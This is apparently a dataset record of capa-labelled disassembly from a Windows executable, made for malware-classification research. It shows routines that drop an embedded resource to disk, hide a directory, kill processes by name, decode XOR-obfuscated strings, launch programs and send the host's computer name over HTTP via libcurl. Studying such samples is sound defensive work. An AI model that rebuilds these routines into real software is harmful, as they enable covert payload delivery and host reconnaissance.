joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14033efa0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14033efb6
mov al, 1
jmp 0x14033f016
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14033efc7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14033f014
mov ecx, dword [rcx + 0x18]
nop
call fcn.140003db4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14033f014
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14033f014
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14033f014
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14033f016
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140003220
Capabilities:
Create directory
Set file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140003258
mov rcx, qword [rbx]
lea edx, [rax + 2]
call fcn.140125278
test eax, eax
je 0x140003258
mov rcx, qword [rbx]
mov edx, 4
call fcn.140125278
test eax, eax
jne 0x14000328a
mov rcx, qword [rbx]
mov edx, 0x2006
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x1400032b1
mov rcx, qword [rbx]
lea edx, [rax + 2]
call fcn.140125278
test eax, eax
je 0x1400032b1
mov rcx, qword [rbx]
mov edx, 4
call fcn.140125278
test eax, eax
je 0x1400032b1
mov rdx, qword [rbx]
mov eax, 0xffffffff
sub rdx, 0x18
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400032a9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor al, al
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rbx]
mov eax, 0xffffffff
sub rdx, 0x18
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400032d0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov al, 1
add rsp, 0x20
pop rbx
ret
Function at 0x1400036f0
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x8080
call fcn.14011eb20
sub rsp, rax
mov rax, qword [0x1401973d0]
xor rax, rsp
mov qword [rsp + 0x8070], rax
mov rbp, rdx
mov rbx, rcx
mov qword [rsp + 0x40], rcx
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rsi, rax
mov rdi, 0xffffffffffffffff
test rax, rax
je 0x1400038ac
mov rdx, qword [rbx]
cmp dword [rdx - 8], 1
jle 0x14000374f
mov edx, dword [rdx - 0x10]
mov rcx, rbx
call fcn.14000b2d0
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rdx + r8*2], ax
jne 0x140003770
lea rcx, [rsp + 0x20]
call fcn.14000fdf0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1400035d0
mov dword [rsp + 0x48], 0x7fff
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.libcurl.dll_curl_slist_append]
mov r8, rax
mov edx, 0x2727
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor r8d, r8d
lea edx, [r8 + 0x2a]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r8, qword [rsp + 0x50]
mov edx, 0x2712
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor r8d, r8d
lea edx, [r8 + 0x40]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor r8d, r8d
lea edx, [r8 + 0x51]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor r8d, r8d
lea edx, [r8 + 0x29]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor r8d, r8d
mov edx, 0x4e2c
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140003580]
mov edx, 0x4e2b
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov r8, rbp
mov edx, 0x2711
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0x63
lea r8d, [rdx - 0x62]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0x4e
lea r8d, [rdx - 0x48]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0xd
lea r8d, [rdx - 7]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov ebp, eax
lea rcx, [rsp + 0x50]
call fcn.140010cc0
jmp 0x1400038b0
mov ebp, dword [rsp + 0x48]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
nop
mov rdx, qword [rbx]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x1400038d4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, ebp
mov rcx, qword [rsp + 0x8070]
xor rcx, rsp
call fcn.14011e030
mov rbx, qword [rsp + 0x80b0]
add rsp, 0x8080
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003ca0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1401973d0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, r8
mov rbx, rcx
call fcn.140003c50
mov r8, qword [rdi]
mov edx, 0x65
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
je 0x140003d6e
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov ebp, eax
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140003d6e
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 0
mov r8d, ebp
mov qword [rsp + 0x20], 0
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140003dad
mov rdx, qword [rbx]
mov ebx, 0xffffffff
mov eax, ebx
sub rdx, 0x18
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140003d8f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rdi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x140003da9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor al, al
jmp 0x140003dfc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rdx, qword [rbx]
mov ebx, 0xffffffff
mov eax, ebx
sub rdx, 0x18
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140003de0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rdi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x140003dfa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14011e030
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004b90
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov r11, rsp
sub rsp, 0x278
mov rax, qword [0x1401973d0]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov qword [r11 + 0x18], rsi
xor edx, edx
mov rsi, rcx
mov qword [r11 - 8], rdi
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140004c4b
mov qword [rsp + 0x288], rbx
nop word [rax + rax]
mov rdx, qword [rsi]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140004c31
mov r8d, dword [rsp + 0x28]
lea ecx, [rax + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140004c31
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004bf0
mov rbx, qword [rsp + 0x288]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsi]
mov eax, 0xffffffff
sub rdx, 0x18
lock xadd dword [rdx + 0x10], eax
mov rdi, qword [rsp + 0x270]
mov rsi, qword [rsp + 0x290]
sub eax, 1
jg 0x140004c83
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14011e030
add rsp, 0x278
ret
Function at 0x140004ca0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x2e0
mov rax, qword [0x1401973d0]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140004dbd
mov dword [rsp + 0x90], 0x238
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x94]
call fcn.140120b10
lea rdx, [rsp + 0x90]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140004d49
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rbx]
lea rcx, [rsp + 0xbc]
call fcn.14012d16c
mov rcx, rdi
test eax, eax
je 0x140004d8b
lea rdx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004d20
mov rdx, qword [rbx]
sub rdx, 0x18
mov eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004d68
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor eax, eax
mov rcx, qword [rsp + 0x2d0]
xor rcx, rsp
call fcn.14011e030
mov rbx, qword [rsp + 0x2f8]
add rsp, 0x2e0
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov edi, dword [rsp + 0x98]
mov rdx, qword [rbx]
sub rdx, 0x18
mov eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004db9
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
mov eax, edi
jmp 0x140004d6a
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x40]
call fcn.140004ea0
mov rcx, rax
call fcn.140007d80
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.1400097a0
mov rbx, rax
lea rdx, [rsp + 0x48]
call fcn.140004e30
mov rcx, rax
call fcn.140007d80
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1400097a0
nop
xor r9d, r9d
lea r8d, [r9 + 0x40]
mov rdx, rbx
mov rcx, rax
call fcn.140003180
mov ecx, 0xffffffff
call fcn.14012c640
int3
Function at 0x140006cc0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x1401973d0]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
lea rax, [rsp + 0x48]
mov qword [rbp - 0x40], rax
mov r12d, 9
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x34], 0x4d004b
mov dword [rsp + 0x38], 0x5a005f
mov dword [rsp + 0x3c], 0x130051
mov dword [rsp + 0x40], 0x47005b
mov dword [rsp + 0x44], 0x410025
xor ebx, ebx
mov edx, ebx
nop dword [rax]
mov eax, edx
lea rcx, [rsp + 0x34]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x30]
cmp edx, eax
jb 0x140006d40
mov word [rsp + rax*2 + 0x34], bx
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x140006f22
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x34]
cmp rax, 0x10000
lea rax, [rsp + 0x34]
jae 0x140006da1
movzx edx, ax
lea rcx, [rsp + 0x48]
call fcn.14000c690
jmp 0x140006dcb
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140006db0
lea rdx, [rsp + 0x34]
lea rcx, [rsp + 0x48]
call fcn.14000c910
nop
lea rcx, [rsp + 0x48]
call fcn.140004b90
mov ecx, 0x32
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x54], 0x5a0017
mov dword [rsp + 0x58], 0x78001a
mov dword [rsp + 0x5c], 0x610006
mov dword [rsp + 0x60], 0x560069
mov dword [rsp + 0x64], 0x25002e
mov dword [rsp + 0x68], 0x34002d
mov dword [rsp + 0x6c], 0x190037
mov dword [rsp + 0x70], 0x3e0015
mov dword [rsp + 0x74], 0x3d003b
mov dword [rsp + 0x78], 0x26002f
mov dword [rsp + 0x7c], 0x7f007f
mov dword [rbp - 0x80], 0x1b0012
mov dword [rbp - 0x7c], 0x20011
mov dword [rbp - 0x78], 0x180019
mov dword [rbp - 0x74], 0x19001d
mov dword [rbp - 0x70], 0x77001a
mov dword [rbp - 0x6c], 0x1f0077
mov dword [rbp - 0x68], 0x74007a
mov dword [rbp - 0x64], 0x100015
mov dword [rbp - 0x60], 0x7d007e
mov dword [rbp - 0x5c], 0x150013
mov dword [rbp - 0x58], 0x20007
mov dword [rbp - 0x54], 0x4b0009
mov dword [rbp - 0x50], 0x1f0003
mov dword [rbp - 0x4c], 0x4b000d
mov dword [rbp - 0x48], 0x6a
mov eax, ebx
mov ecx, eax
lea rdx, [rsp + 0x54]
lea rdx, [rdx + rcx*2]
lea ecx, [rax + 0x38]
xor word [rdx], cx
inc eax
mov ecx, dword [rsp + 0x50]
cmp eax, ecx
jb 0x140006ea1
mov word [rsp + rcx*2 + 0x54], bx
lea rdx, [rsp + 0x54]
lea rcx, [rbp - 0x30]
call fcn.14000d180
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x30]
lea r8, [0x14016ba30]
xor edx, edx
mov rcx, qword [0x1401a2bb0]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.14011e030
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 0x80004005
call fcn.14000fc90
int3
Function at 0x140007d80
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
lea r9, [rcx + 4]
xor r10d, r10d
mov edx, r10d
test eax, eax
je 0x140007da3
mov eax, edx
lea r8d, [rdx + 0x38]
inc edx
xor word [r9 + rax*2], r8w
mov eax, dword [rcx]
cmp edx, eax
jb 0x140007d90
mov ecx, eax
mov rax, r9
mov word [r9 + rcx*2], r10w
ret

Function at 0x140008430
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140008452
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x1400084cc
mov rdi, r14
mov rcx, rbx
call fcn.14000af90
test rax, rax
jle 0x1400084a4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.1401203d0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1400084bc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1400084c4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140008466
sub r14, rdi
jmp 0x1400085af
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1400084e3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400084e5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140008517
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1401203d0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400085ac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140008552
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000858d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14012f280
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1400085ac
cmp rbp, rax
ja 0x140008560
test rbp, rbp
je 0x1400085ac
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14012f280
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x14000efd0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000f048
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000f048
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x14000f035
nop
cmp rbx, rcx
jae 0x14000f048
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x14000f020
cmp rbx, rcx
jae 0x14000f048
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
jmp 0x14000f04a
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001a170
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x14001a17b
xor eax, eax
ret
lea r11, [0x14016c940]
not ecx
cmp r8d, 8
jb 0x14001a251
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x14001a1a0
test r8d, r8d
je 0x14001a27d
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x14001a260
not ecx
mov eax, ecx
ret

Function at 0x14001aba0
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x48
mov rax, qword [0x1401973d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r10d, edx
mov rdi, r9
imul r10d, r8d
mov rsi, rdx
cmp byte [r9], 0
mov r11, rcx
je 0x14001abf8
mov rdx, rcx
mov qword [rsp + 0x20], 0
mov rcx, qword [rdi + 8]
lea r9, [rsp + 0x30]
mov r8d, r10d
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14001abf2
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x30]
jmp 0x14001ac2e
mov edx, dword [r9 + 0x2c]
mov ecx, dword [r9 + 0x28]
sub ecx, edx
mov qword [rsp + 0x40], rbx
lea eax, [rdx + r10]
cmp eax, dword [r9 + 0x28]
cmovbe ecx, r10d
add rdx, qword [r9 + 0x20]
mov ebx, ecx
mov r8d, ecx
mov rcx, r11
call fcn.1401203d0
add dword [rdi + 0x2c], ebx
mov eax, ebx
mov rbx, qword [rsp + 0x40]
xor edx, edx
div rsi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14011e030
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x14001ac50
Capabilities:
Read file on windows

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x1401973d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp byte [rcx], 0
mov r14, rdx
mov qword [rsp + 0x70], rbp
mov rbx, rcx
mov qword [rsp + 0x78], rsi
mov esi, 1
je 0x14001acb3
lea rdi, [rcx + 0x10]
mov qword [rsp + 0x20], 0
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x34]
mov r8d, esi
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14001acad
mov byte [rdi], sil
mov ebp, dword [rsp + 0x34]
jmp 0x14001ace4
mov edi, dword [rcx + 0x2c]
mov ecx, dword [rcx + 0x28]
lea eax, [rdi + 1]
cmp eax, ecx
jbe 0x14001acc4
mov esi, ecx
sub esi, edi
mov rdx, rdi
mov r8d, esi
add rdx, qword [rbx + 0x20]
lea rcx, [rsp + 0x30]
mov ebp, esi
call fcn.1401203d0
lea eax, [rdi + rsi]
mov dword [rbx + 0x2c], eax
lea rdi, [rbx + 0x10]
mov rsi, qword [rsp + 0x78]
cmp ebp, 1
mov rbp, qword [rsp + 0x70]
jne 0x14001ad13
movzx eax, byte [rsp + 0x30]
mov dword [r14], eax
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14011e030
add rsp, 0x40
pop r14
pop rdi
pop rbx
ret
cmp byte [rbx], 0
je 0x14001acfb
cmp byte [rdi], 0
je 0x14001acfb
mov eax, 0xffffffff
jmp 0x14001acfd
Function at 0x14001b9e0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
test rcx, rcx
je 0x14001bc16
cmp dword [rcx + 0x1c], 0
je 0x14001bc16
mov qword [rsp + 0x48], rbx
mov rbx, qword [rcx + 0x80]
mov qword [rsp + 0x20], rbp
xor ebp, ebp
test rbx, rbx
je 0x14001ba48
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001ba25
call fcn.14012d07c
mov qword [rbx], rbp
cmp dword [rbx + 0x64], ebp
je 0x14001ba36
lea rcx, [rbx + 8]
call fcn.14001a420
mov rcx, rbx
mov dword [rbx + 0x64], ebp
call fcn.14012d07c
mov qword [rdi + 0x80], rbp
lea r9, [rsp + 0x50]
mov rcx, rdi
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x58]
call fcn.14001b730
test eax, eax
je 0x14001ba79
mov rbx, qword [rsp + 0x48]
mov eax, 0xffffff99
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 0xb0
call fcn.14013614c
mov rbx, rax
test rax, rax
je 0x14001bab6
mov ecx, 0x4000
call fcn.14013614c
mov ecx, dword [rsp + 0x40]
mov dword [rbx + 0x68], ecx
mov ecx, dword [rsp + 0x50]
mov dword [rbx + 0x6c], ecx
mov qword [rbx], rax
mov dword [rbx + 0x70], ebp
test rax, rax
jne 0x14001bacc
mov rcx, rbx
call fcn.14012d07c
mov rbx, qword [rsp + 0x48]
mov eax, 0xffffff98
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rsi
ret
mov dword [rbx + 0x64], ebp
mov eax, dword [rdi + 0x40]
mov ecx, dword [rdi + 0x38]
mov dword [rbx + 0x78], eax
mov dword [rbx + 0x74], ebp
mov eax, dword [rdi + 0x38]
mov dword [rbx + 0x90], eax
mov rax, qword [rdi]
mov qword [rbx + 0x88], rax
mov eax, dword [rdi + 0x10]
mov dword [rbx + 0x94], eax
mov dword [rbx + 0x24], ebp
test ecx, ecx
je 0x14001bb1e
lea rcx, [rbx + 8]
mov qword [rbx + 0x38], rbp
mov qword [rbx + 0x40], rbp
mov qword [rbx + 0x48], rbp
call fcn.14001a500
test eax, eax
jne 0x14001bb1e
mov dword [rbx + 0x64], 1
mov eax, dword [rdi + 0x44]
mov dword [rbx + 0x7c], eax
mov eax, dword [rdi + 0x48]
mov dword [rbx + 0x80], eax
movzx ecx, byte [rdi + 0x34]
and cl, 1
mov byte [rbx + 0x98], cl
mov eax, dword [rdi + 0x34]
shr eax, 3
test al, 1
je 0x14001bb4a
movzx eax, byte [rdi + 0x3d]
jmp 0x14001bb4e
movzx eax, byte [rdi + 0x43]
mov byte [rbx + 0xac], al
neg cl
mov dword [rbx + 0x9c], 0x12345678
sbb eax, eax
mov dword [rbx + 0xa0], 0x23456789
and eax, 0xc
mov dword [rbx + 0xa4], 0x34567890
mov dword [rbx + 0xa8], eax
test rsi, rsi
je 0x14001bbea
lea r8, [0x14016c940]
nop dword [rax + rax]
movzx eax, byte [rsi]
test al, al
je 0x14001bbea
mov edx, dword [rbx + 0x9c]
xor rax, rdx
movzx ecx, al
shr edx, 8
xor edx, dword [r8 + rcx*4]
mov ecx, dword [rbx + 0xa4]
movzx eax, dl
add eax, dword [rbx + 0xa0]
mov dword [rbx + 0x9c], edx
imul edx, eax, 0x8088405
movzx eax, cl
shr ecx, 8
inc edx
mov dword [rbx + 0xa0], edx
shr rdx, 0x18
xor rax, rdx
xor ecx, dword [r8 + rax*4]
mov dword [rbx + 0xa4], ecx
add rsi, 1
jne 0x14001bb90
mov ecx, dword [rdi + 0x7c]
mov eax, dword [rsp + 0x58]
mov dword [rbx + 0x10], ebp
add eax, 0x1e
mov rbp, qword [rsp + 0x20]
add ecx, eax
mov dword [rbx + 0x60], ecx
xor eax, eax
